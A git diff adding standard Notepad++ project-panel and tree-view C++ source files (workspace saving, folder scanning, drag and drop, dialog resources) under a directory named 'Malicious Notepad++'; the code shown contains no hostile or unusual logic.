iImage; + SendMessage(_treeView.getHSelf(), TVM_SETITEM, 0, reinterpret_cast(&tvItem)); + setWorkSpaceDirty(true); + } + } + break; + } +} + +bool ProjectPanel::saveWorkSpaceAs(bool saveCopyAs) +{ + FileDialog fDlg(_hSelf, ::GetModuleHandle(NULL)); + setFileExtFilter(fDlg); + fDlg.setExtIndex(0); // 0 index for "custom extention" type if any else for "All types *.*" + + if (TCHAR *fn = fDlg.doSaveDlg()) + { + writeWorkSpace(fn); + if (!saveCopyAs) + { + _workSpaceFilePath = fn; + setWorkSpaceDirty(false); + } + return true; + } + return false; +} + +void ProjectPanel::setFileExtFilter(FileDialog & fDlg) +{ + const TCHAR *ext = NppParameters::getInstance()->getNppGUI()._definedWorkspaceExt.c_str(); + generic_string workspaceExt = TEXT(""); + if (*ext != '\0') + { + if (*ext != '.') + workspaceExt += TEXT("."); + workspaceExt += ext; + fDlg.setExtFilter(TEXT("Workspace file"), workspaceExt.c_str(), NULL); + } + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); +} + +void ProjectPanel::addFiles(HTREEITEM hTreeItem) +{ + FileDialog fDlg(_hSelf, ::GetModuleHandle(NULL)); + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); + + if (stringVector *pfns = fDlg.doOpenMultiFilesDlg()) + { + size_t sz = pfns->size(); + for (size_t i = 0 ; i < sz ; ++i) + { + TCHAR *strValueLabel = ::PathFindFileName(pfns->at(i).c_str()); + _treeView.addItem(strValueLabel, hTreeItem, INDEX_LEAF, pfns->at(i).c_str()); + } + _treeView.expand(hTreeItem); + setWorkSpaceDirty(true); + } +} + +void ProjectPanel::recursiveAddFilesFrom(const TCHAR *folderPath, HTREEITEM hTreeItem) +{ + bool isRecursive = true; + bool isInHiddenDir = false; + generic_string dirFilter(folderPath); + if (folderPath[lstrlen(folderPath)-1] != '\\') + dirFilter += TEXT("\\"); + + dirFilter += TEXT("*.*"); + WIN32_FIND_DATA foundData; + std::vector files; + + HANDLE hFile = ::FindFirstFile(dirFilter.c_str(), &foundData); + + do { + if (hFile == INVALID_HANDLE_VALUE) + break; + + if (foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (!isInHiddenDir && (foundData.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)) + { + // do nothing + } + else if (isRecursive) + { + if ((lstrcmp(foundData.cFileName, TEXT("."))) && (lstrcmp(foundData.cFileName, TEXT("..")))) + { + generic_string pathDir(folderPath); + if (folderPath[lstrlen(folderPath)-1] != '\\') + pathDir += TEXT("\\"); + pathDir += foundData.cFileName; + pathDir += TEXT("\\"); + HTREEITEM addedItem = addFolder(hTreeItem, foundData.cFileName); + recursiveAddFilesFrom(pathDir.c_str(), addedItem); + } + } + } + else + { + files.push_back(foundData.cFileName); + } + } while (::FindNextFile(hFile, &foundData)); + + for (size_t i = 0, len = files.size() ; i < len ; ++i) + { + generic_string pathFile(folderPath); + if (folderPath[lstrlen(folderPath)-1] != '\\') + pathFile += TEXT("\\"); + pathFile += files[i]; + _treeView.addItem(files[i].c_str(), hTreeItem, INDEX_LEAF, pathFile.c_str()); + } + + ::FindClose(hFile); +} + +void ProjectPanel::addFilesFromDirectory(HTREEITEM hTreeItem) +{ + if (_selDirOfFilesFromDirDlg == TEXT("") && _workSpaceFilePath != TEXT("")) + { + TCHAR dir[MAX_PATH]; + lstrcpy(dir, _workSpaceFilePath.c_str()); + ::PathRemoveFileSpec(dir); + _selDirOfFilesFromDirDlg = dir; + } + generic_string dirPath; + if (_selDirOfFilesFromDirDlg != TEXT("")) + dirPath = getFolderName(_hSelf, _selDirOfFilesFromDirDlg.c_str()); + else + dirPath = getFolderName(_hSelf); + + if (dirPath != TEXT("")) + { + recursiveAddFilesFrom(dirPath.c_str(), hTreeItem); + _treeView.expand(hTreeItem); + setWorkSpaceDirty(true); + _selDirOfFilesFromDirDlg = dirPath; + } +} + +INT_PTR CALLBACK FileRelocalizerDlg::run_dlgProc(UINT Message, WPARAM wParam, LPARAM) +{ + switch (Message) + { + case WM_INITDIALOG : + { + goToCenter(); + ::SetDlgItemText(_hSelf, IDC_EDIT_FILEFULLPATHNAME, _fullFilePath.c_str()); + return TRUE; + } + case WM_COMMAND : + { + switch (wParam) + { + case IDOK : + { + TCHAR textBuf[MAX_PATH]; + ::GetDlgItemText(_hSelf, IDC_EDIT_FILEFULLPATHNAME, textBuf, MAX_PATH); + _fullFilePath = textBuf; + ::EndDialog(_hSelf, 0); + } + return TRUE; + + case IDCANCEL : + ::EndDialog(_hSelf, -1); + return TRUE; + + default: + return FALSE; + } + } + default : + return FALSE; + } +} + +int FileRelocalizerDlg::doDialog(const TCHAR *fn, bool isRTL) +{ + _fullFilePath = fn; + + if (isRTL) + { + DLGTEMPLATE *pMyDlgTemplate = NULL; + HGLOBAL hMyDlgTemplate = makeRTLResource(IDD_FILERELOCALIZER_DIALOG, &pMyDlgTemplate); + int result = static_cast(::DialogBoxIndirectParam(_hInst, pMyDlgTemplate, _hParent, dlgProc, reinterpret_cast(this))); + ::GlobalFree(hMyDlgTemplate); + return result; + } + return static_cast(::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_FILERELOCALIZER_DIALOG), _hParent, dlgProc, reinterpret_cast(this))); +} + diff --git a/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.h b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.h new file mode 100644 index 0000000..d2dacf7 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.h @@ -0,0 +1,166 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "DockingDlgInterface.h" +#include "TreeView.h" +#include "ProjectPanel_rc.h" + +#define PM_PROJECTPANELTITLE TEXT("Project") +#define PM_WORKSPACEROOTNAME TEXT("Workspace") +#define PM_NEWFOLDERNAME TEXT("Folder Name") +#define PM_NEWPROJECTNAME TEXT("Project Name") + +#define PM_NEWWORKSPACE TEXT("New Workspace") +#define PM_OPENWORKSPACE TEXT("Open Workspace") +#define PM_RELOADWORKSPACE TEXT("Reload Workspace") +#define PM_SAVEWORKSPACE TEXT("Save") +#define PM_SAVEASWORKSPACE TEXT("Save As...") +#define PM_SAVEACOPYASWORKSPACE TEXT("Save a Copy As...") +#define PM_NEWPROJECTWORKSPACE TEXT("Add New Project") + +#define PM_EDITRENAME TEXT("Rename") +#define PM_EDITNEWFOLDER TEXT("Add Folder") +#define PM_EDITADDFILES TEXT("Add Files...") +#define PM_EDITADDFILESRECUSIVELY TEXT("Add Files from Directory...") +#define PM_EDITREMOVE TEXT("Remove\tDEL") +#define PM_EDITMODIFYFILE TEXT("Modify File Path") + +#define PM_WORKSPACEMENUENTRY TEXT("Workspace") +#define PM_EDITMENUENTRY TEXT("Edit") + +#define PM_MOVEUPENTRY TEXT("Move Up\tCtrl+Up") +#define PM_MOVEDOWNENTRY TEXT("Move Down\tCtrl+Down") + +enum NodeType { + nodeType_root = 0, nodeType_project = 1, nodeType_folder = 2, nodeType_file = 3 +}; + +class TiXmlNode; +class FileDialog; + +class ProjectPanel : public DockingDlgInterface { +public: + ProjectPanel(): DockingDlgInterface(IDD_PROJECTPANEL) {}; + + + void init(HINSTANCE hInst, HWND hPere) { + DockingDlgInterface::init(hInst, hPere); + } + + virtual void display(bool toShow = true) const { + DockingDlgInterface::display(toShow); + }; + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + void newWorkSpace(); + bool openWorkSpace(const TCHAR *projectFileName); + bool saveWorkSpace(); + bool saveWorkSpaceAs(bool saveCopyAs); + void setWorkSpaceFilePath(const TCHAR *projectFileName){ + _workSpaceFilePath = projectFileName; + }; + const TCHAR * getWorkSpaceFilePath() const { + return _workSpaceFilePath.c_str(); + }; + bool isDirty() const { + return _isDirty; + }; + void checkIfNeedSave(const TCHAR *title); + + virtual void setBackgroundColor(COLORREF bgColour) { + TreeView_SetBkColor(_treeView.getHSelf(), bgColour); + }; + virtual void setForegroundColor(COLORREF fgColour) { + TreeView_SetTextColor(_treeView.getHSelf(), fgColour); + }; + +protected: + TreeView _treeView; + HIMAGELIST _hImaLst = nullptr; + HWND _hToolbarMenu = nullptr; + HMENU _hWorkSpaceMenu = nullptr; + HMENU _hProjectMenu = nullptr; + HMENU _hFolderMenu = nullptr; + HMENU _hFileMenu = nullptr; + generic_string _workSpaceFilePath; + generic_string _selDirOfFilesFromDirDlg; + bool _isDirty = false; + + void initMenus(); + void destroyMenus(); + BOOL setImageList(int root_clean_id, int root_dirty_id, int project_id, int open_node_id, int closed_node_id, int leaf_id, int ivalid_leaf_id); + void addFiles(HTREEITEM hTreeItem); + void addFilesFromDirectory(HTREEITEM hTreeItem); + void recursiveAddFilesFrom(const TCHAR *folderPath, HTREEITEM hTreeItem); + HTREEITEM addFolder(HTREEITEM hTreeItem, const TCHAR *folderName); + + bool writeWorkSpace(TCHAR *projectFileName = NULL); + generic_string getRelativePath(const generic_string & fn, const TCHAR *workSpaceFileName); + void buildProjectXml(TiXmlNode *root, HTREEITEM hItem, const TCHAR* fn2write); + NodeType getNodeType(HTREEITEM hItem); + void setWorkSpaceDirty(bool isDirty); + void popupMenuCmd(int cmdID); + POINT getMenuDisplayPoint(int iButton); + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + bool buildTreeFrom(TiXmlNode *projectRoot, HTREEITEM hParentItem); + void notified(LPNMHDR notification); + void showContextMenu(int x, int y); + generic_string getAbsoluteFilePath(const TCHAR * relativePath); + void openSelectFile(); + void setFileExtFilter(FileDialog & fDlg); +}; + +class FileRelocalizerDlg : public StaticDialog +{ +public : + FileRelocalizerDlg() : StaticDialog() {}; + void init(HINSTANCE hInst, HWND parent){ + Window::init(hInst, parent); + }; + + int doDialog(const TCHAR *fn, bool isRTL = false); + + virtual void destroy() { + }; + + generic_string getFullFilePath() { + return _fullFilePath; + }; + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private : + generic_string _fullFilePath; + +}; diff --git a/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.rc b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.rc new file mode 100644 index 0000000..eb392f1 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.rc @@ -0,0 +1,50 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "ProjectPanel_rc.h" + +IDD_PROJECTPANEL DIALOGEX 26, 41, 142, 324 +STYLE DS_SETFONT | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Project" +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN + +END + +IDD_FILERELOCALIZER_DIALOG DIALOGEX 0, 0, 350, 48 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Change file full path name" +FONT 8, "MS Shell Dlg", 400, 0, 0x1 +BEGIN + DEFPUSHBUTTON "OK",IDOK,235,27,50,14 + PUSHBUTTON "Cancel",IDCANCEL,290,27,50,14 + EDITTEXT IDC_EDIT_FILEFULLPATHNAME,7,7,335,14,ES_AUTOHSCROLL +END diff --git a/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel_rc.h b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel_rc.h new file mode 100644 index 0000000..aa22474 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel_rc.h @@ -0,0 +1,64 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef PROJECTPANEL_RC_H +#define PROJECTPANEL_RC_H + +#define IDD_PROJECTPANEL 3100 + +#define IDD_PROJECTPANEL_MENU (IDD_PROJECTPANEL + 10) + #define IDM_PROJECT_RENAME (IDD_PROJECTPANEL_MENU + 1) + #define IDM_PROJECT_NEWFOLDER (IDD_PROJECTPANEL_MENU + 2) + #define IDM_PROJECT_ADDFILES (IDD_PROJECTPANEL_MENU + 3) + #define IDM_PROJECT_DELETEFOLDER (IDD_PROJECTPANEL_MENU + 4) + #define IDM_PROJECT_DELETEFILE (IDD_PROJECTPANEL_MENU + 5) + #define IDM_PROJECT_MODIFYFILEPATH (IDD_PROJECTPANEL_MENU + 6) + #define IDM_PROJECT_ADDFILESRECUSIVELY (IDD_PROJECTPANEL_MENU + 7) + #define IDM_PROJECT_MOVEUP (IDD_PROJECTPANEL_MENU + 8) + #define IDM_PROJECT_MOVEDOWN (IDD_PROJECTPANEL_MENU + 9) + +#define IDD_PROJECTPANEL_MENUWS (IDD_PROJECTPANEL + 20) + #define IDM_PROJECT_NEWPROJECT (IDD_PROJECTPANEL_MENUWS + 1) + #define IDM_PROJECT_NEWWS (IDD_PROJECTPANEL_MENUWS + 2) + #define IDM_PROJECT_OPENWS (IDD_PROJECTPANEL_MENUWS + 3) + #define IDM_PROJECT_RELOADWS (IDD_PROJECTPANEL_MENUWS + 4) + #define IDM_PROJECT_SAVEWS (IDD_PROJECTPANEL_MENUWS + 5) + #define IDM_PROJECT_SAVEASWS (IDD_PROJECTPANEL_MENUWS + 6) + #define IDM_PROJECT_SAVEACOPYASWS (IDD_PROJECTPANEL_MENUWS + 7) + +#define IDD_PROJECTPANEL_CTRL (IDD_PROJECTPANEL + 30) + #define ID_PROJECTTREEVIEW (IDD_PROJECTPANEL_CTRL + 1) + #define IDB_PROJECT_BTN (IDD_PROJECTPANEL_CTRL + 2) + #define IDB_EDIT_BTN (IDD_PROJECTPANEL_CTRL + 3) + + +#define IDD_FILERELOCALIZER_DIALOG 3200 + #define IDC_EDIT_FILEFULLPATHNAME (IDD_FILERELOCALIZER_DIALOG + 1) + +#endif // PROJECTPANEL_RC_H + diff --git a/Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.cpp b/Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.cpp new file mode 100644 index 0000000..a760b93 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ProjectPanel/TreeView.cpp @@ -0,0 +1,682 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include "TreeView.h" +#include "Parameters.h" + +#define CY_ITEMHEIGHT 18 + +void TreeView::init(HINSTANCE hInst, HWND parent, int treeViewID) +{ + Window::init(hInst, parent); + _hSelf = ::GetDlgItem(parent, treeViewID); + + _hSelf = CreateWindowEx(0, + WC_TREEVIEW, + TEXT("Tree View"), + WS_CHILD | WS_BORDER | WS_HSCROLL | WS_TABSTOP | TVS_LINESATROOT | TVS_HASLINES | + TVS_HASBUTTONS | TVS_SHOWSELALWAYS | TVS_EDITLABELS | TVS_INFOTIP, + 0, 0, 0, 0, + _hParent, + NULL, + _hInst, + (LPVOID)0); + + int itemHeight = NppParameters::getInstance()->_dpiManager.scaleY(CY_ITEMHEIGHT); + TreeView_SetItemHeight(_hSelf, itemHeight); + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _defaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(staticProc))); +} + + +void TreeView::destroy() +{ + HTREEITEM root = TreeView_GetRoot(_hSelf); + cleanSubEntries(root); + ::DestroyWindow(_hSelf); + _hSelf = NULL; +} + +LRESULT TreeView::runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + return ::CallWindowProc(_defaultProc, hwnd, Message, wParam, lParam); +} + +void TreeView::makeLabelEditable(bool toBeEnabled) +{ + DWORD dwNewStyle = (DWORD)GetWindowLongPtr(_hSelf, GWL_STYLE); + if (toBeEnabled) + dwNewStyle |= TVS_EDITLABELS; + else + dwNewStyle &= ~TVS_EDITLABELS; + ::SetWindowLongPtr(_hSelf, GWL_STYLE, dwNewStyle); +} + + +bool TreeView::setItemParam(HTREEITEM Item2Set, const TCHAR *paramStr) +{ + if (!Item2Set) + return false; + + TVITEM tvItem; + tvItem.hItem = Item2Set; + tvItem.mask = TVIF_PARAM; + + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (!tvItem.lParam) + tvItem.lParam = reinterpret_cast(new generic_string(paramStr)); + else + { + *((generic_string *)tvItem.lParam) = paramStr; + } + SendMessage(_hSelf, TVM_SETITEM, 0, reinterpret_cast(&tvItem)); + return true; +} + +LPARAM TreeView::getItemParam(HTREEITEM Item2Get) const +{ + if (not Item2Get) + return false; + //TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = Item2Get; + tvItem.mask = TVIF_PARAM; + //tvItem.pszText = textBuffer; + tvItem.lParam = 0; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + return tvItem.lParam; +} + +generic_string TreeView::getItemDisplayName(HTREEITEM Item2Set) const +{ + if (not Item2Set) + return TEXT(""); + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = Item2Set; + tvItem.mask = TVIF_TEXT; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + return tvItem.pszText; +} + +bool TreeView::renameItem(HTREEITEM Item2Set, const TCHAR *newName) +{ + if (not Item2Set || not newName) + return false; + + TVITEM tvItem; + tvItem.hItem = Item2Set; + tvItem.mask = TVIF_TEXT; + tvItem.pszText = (LPWSTR)newName; + tvItem.cchTextMax = MAX_PATH; + SendMessage(_hSelf, TVM_SETITEM, 0, reinterpret_cast(&tvItem)); + return true; +} + +HTREEITEM TreeView::addItem(const TCHAR *itemName, HTREEITEM hParentItem, int iImage, const TCHAR *filePath) +{ + TVITEM tvi; + tvi.mask = TVIF_TEXT | TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_PARAM; + + // Set the item label. + tvi.pszText = (LPTSTR)itemName; + tvi.cchTextMax = MAX_PATH; + + // Set icon + tvi.iImage = iImage;//isNode?INDEX_CLOSED_NODE:INDEX_LEAF; + tvi.iSelectedImage = iImage;//isNode?INDEX_OPEN_NODE:INDEX_LEAF; + + // Save the full path of file in the item's application-defined data area. + tvi.lParam = (filePath == NULL ? 0 : reinterpret_cast(new generic_string(filePath))); + + TVINSERTSTRUCT tvInsertStruct; + tvInsertStruct.item = tvi; + tvInsertStruct.hInsertAfter = TVI_LAST; + tvInsertStruct.hParent = hParentItem; + + return reinterpret_cast(::SendMessage(_hSelf, TVM_INSERTITEM, 0, reinterpret_cast(&tvInsertStruct))); +} + +void TreeView::removeItem(HTREEITEM hTreeItem) +{ + // Deallocate all the sub-entries recursively + cleanSubEntries(hTreeItem); + + // Deallocate current entry + TVITEM tvItem; + tvItem.hItem = hTreeItem; + tvItem.mask = TVIF_PARAM; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + if (tvItem.lParam) + delete (generic_string *)(tvItem.lParam); + + // Remove the node + TreeView_DeleteItem(_hSelf, hTreeItem); +} + +void TreeView::removeAllItems() +{ + for (HTREEITEM tvProj = getRoot(); + tvProj != NULL; + tvProj = getNextSibling(tvProj)) + { + cleanSubEntries(tvProj); + } + TreeView_DeleteAllItems(_hSelf); +} + + +void TreeView::dupTree(HTREEITEM hTree2Dup, HTREEITEM hParentItem) +{ + for (HTREEITEM hItem = getChildFrom(hTree2Dup); hItem != NULL; hItem = getNextSibling(hItem)) + { + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = hItem; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_IMAGE | TVIF_SELECTEDIMAGE; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + if (tvItem.lParam) + { + tvItem.lParam = reinterpret_cast(new generic_string(*(reinterpret_cast(tvItem.lParam)))); + } + + TVINSERTSTRUCT tvInsertStruct; + tvInsertStruct.item = tvItem; + tvInsertStruct.hInsertAfter = TVI_LAST; + tvInsertStruct.hParent = hParentItem; + HTREEITEM hTreeParent = reinterpret_cast(::SendMessage(_hSelf, TVM_INSERTITEM, 0, reinterpret_cast(&tvInsertStruct))); + dupTree(hItem, hTreeParent); + } +} + +HTREEITEM TreeView::searchSubItemByName(const TCHAR *itemName, HTREEITEM hParentItem) +{ + HTREEITEM hItem = NULL; + if (hParentItem != NULL) + hItem = getChildFrom(hParentItem); + else + hItem = getRoot(); + + for ( ; hItem != NULL; hItem = getNextSibling(hItem)) + { + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = hItem; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.mask = TVIF_TEXT; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (lstrcmp(itemName, tvItem.pszText) == 0) + { + return hItem; + } + } + return NULL; +} + +void TreeView::cleanSubEntries(HTREEITEM hTreeItem) +{ + for (HTREEITEM hItem = getChildFrom(hTreeItem); hItem != NULL; hItem = getNextSibling(hItem)) + { + TVITEM tvItem; + tvItem.hItem = hItem; + tvItem.mask = TVIF_PARAM; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + if (tvItem.lParam) + { + delete reinterpret_cast(tvItem.lParam); + } + cleanSubEntries(hItem); + } +} + +void TreeView::setItemImage(HTREEITEM hTreeItem, int iImage, int iSelectedImage) +{ + TVITEM tvItem; + tvItem.hItem = hTreeItem; + tvItem.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE; + tvItem.iImage = iImage; + tvItem.iSelectedImage = iSelectedImage; + TreeView_SetItem(_hSelf, &tvItem); +} + +// pass LPARAM of WM_NOTIFY here after casted to NMTREEVIEW* +void TreeView::beginDrag(NMTREEVIEW* tv) +{ + if (!canDragOut(tv->itemNew.hItem)) + return; + + // create dragging image for you using TVM_CREATEDRAGIMAGE + // You have to delete it after drop operation, so remember it. + _draggedItem = tv->itemNew.hItem; + _draggedImageList = reinterpret_cast(::SendMessage(_hSelf, TVM_CREATEDRAGIMAGE, 0, reinterpret_cast(_draggedItem))); + + // start dragging operation + // PARAMS: HIMAGELIST, imageIndex, xHotspot, yHotspot + ::ImageList_BeginDrag(_draggedImageList, 0, 0, 0); + ::ImageList_DragEnter(_hSelf, tv->ptDrag.x, tv->ptDrag.y); + + // redirect mouse input to the parent window + ::SetCapture(::GetParent(_hSelf)); + ::ShowCursor(false); // hide the cursor + + _isItemDragged = true; +} + +void TreeView::dragItem(HWND parentHandle, int x, int y) +{ + // convert the dialog coords to control coords + POINT point; + point.x = (SHORT)x; + point.y = (SHORT)y; + ::ClientToScreen(parentHandle, &point); + ::ScreenToClient(_hSelf, &point); + + // drag the item to the current the cursor position + ::ImageList_DragMove(point.x, point.y); + + // hide the dragged image, so the background can be refreshed + ::ImageList_DragShowNolock(false); + + // find out if the pointer is on an item + // If so, highlight the item as a drop target. + TVHITTESTINFO hitTestInfo; + hitTestInfo.pt.x = point.x; + hitTestInfo.pt.y = point.y; + HTREEITEM targetItem = reinterpret_cast(::SendMessage(_hSelf, TVM_HITTEST, 0, reinterpret_cast(&hitTestInfo))); + if(targetItem) + { + ::SendMessage(_hSelf, TVM_SELECTITEM, TVGN_DROPHILITE, reinterpret_cast(targetItem)); + } + + // show the dragged image + ::ImageList_DragShowNolock(true); +} + +bool TreeView::dropItem() +{ + bool isFilesMoved = false; + // get the target item + HTREEITEM targetItem = reinterpret_cast(::SendMessage(_hSelf, TVM_GETNEXTITEM, TVGN_DROPHILITE, 0)); + + // make a copy of the dragged item and insert the clone under + // the target item, then, delete the original dragged item + // Note that the dragged item may have children. In this case, + // you have to move (copy and delete) for every child items, too. + if (canBeDropped(_draggedItem, targetItem)) + { + moveTreeViewItem(_draggedItem, targetItem); + isFilesMoved = true; + } + // finish drag-and-drop operation + ::ImageList_EndDrag(); + ::ImageList_Destroy(_draggedImageList); + ::ReleaseCapture(); + ::ShowCursor(true); + + SendMessage(_hSelf, TVM_SELECTITEM, TVGN_CARET, reinterpret_cast(targetItem)); + SendMessage(_hSelf,TVM_SELECTITEM,TVGN_DROPHILITE,0); + + // clear global variables + _draggedItem = 0; + _draggedImageList = 0; + _isItemDragged = false; + return isFilesMoved; +} + +bool TreeView::canBeDropped(HTREEITEM draggedItem, HTREEITEM targetItem) +{ + if (targetItem == NULL) + return false; + if (draggedItem == targetItem) + return false; + if (targetItem == TreeView_GetRoot(_hSelf)) + return false; + if (isDescendant(targetItem, draggedItem)) + return false; + if (isParent(targetItem, draggedItem)) + return false; + // candragItem, canBeDropInItems + if (!canDropIn(targetItem)) + return false; + + return true; +} + +bool TreeView::isDescendant(HTREEITEM targetItem, HTREEITEM draggedItem) +{ + if (targetItem == NULL) + return false; + + if (TreeView_GetRoot(_hSelf) == targetItem) + return false; + + HTREEITEM parent = getParent(targetItem); + if (parent == draggedItem) + return true; + + return isDescendant(parent, draggedItem); +} + +bool TreeView::isParent(HTREEITEM targetItem, HTREEITEM draggedItem) +{ + HTREEITEM parent = getParent(draggedItem); + if (parent == targetItem) + return true; + return false; +} + +void TreeView::moveTreeViewItem(HTREEITEM draggedItem, HTREEITEM targetItem) +{ + TCHAR textBuffer[MAX_PATH]; + TVITEM tvDraggingItem; + tvDraggingItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_IMAGE | TVIF_SELECTEDIMAGE; + tvDraggingItem.pszText = textBuffer; + tvDraggingItem.cchTextMax = MAX_PATH; + tvDraggingItem.hItem = draggedItem; + SendMessage(_hSelf, TVM_GETITEM, 0, reinterpret_cast(&tvDraggingItem)); + + if (tvDraggingItem.lParam) + tvDraggingItem.lParam = reinterpret_cast(new generic_string(*(reinterpret_cast(tvDraggingItem.lParam)))); + + TVINSERTSTRUCT tvInsertStruct; + tvInsertStruct.item = tvDraggingItem; + tvInsertStruct.hInsertAfter = (HTREEITEM)TVI_LAST; + tvInsertStruct.hParent = targetItem; + + HTREEITEM hTreeParent = reinterpret_cast(::SendMessage(_hSelf, TVM_INSERTITEM, 0, reinterpret_cast(&tvInsertStruct))); + dupTree(draggedItem, hTreeParent); 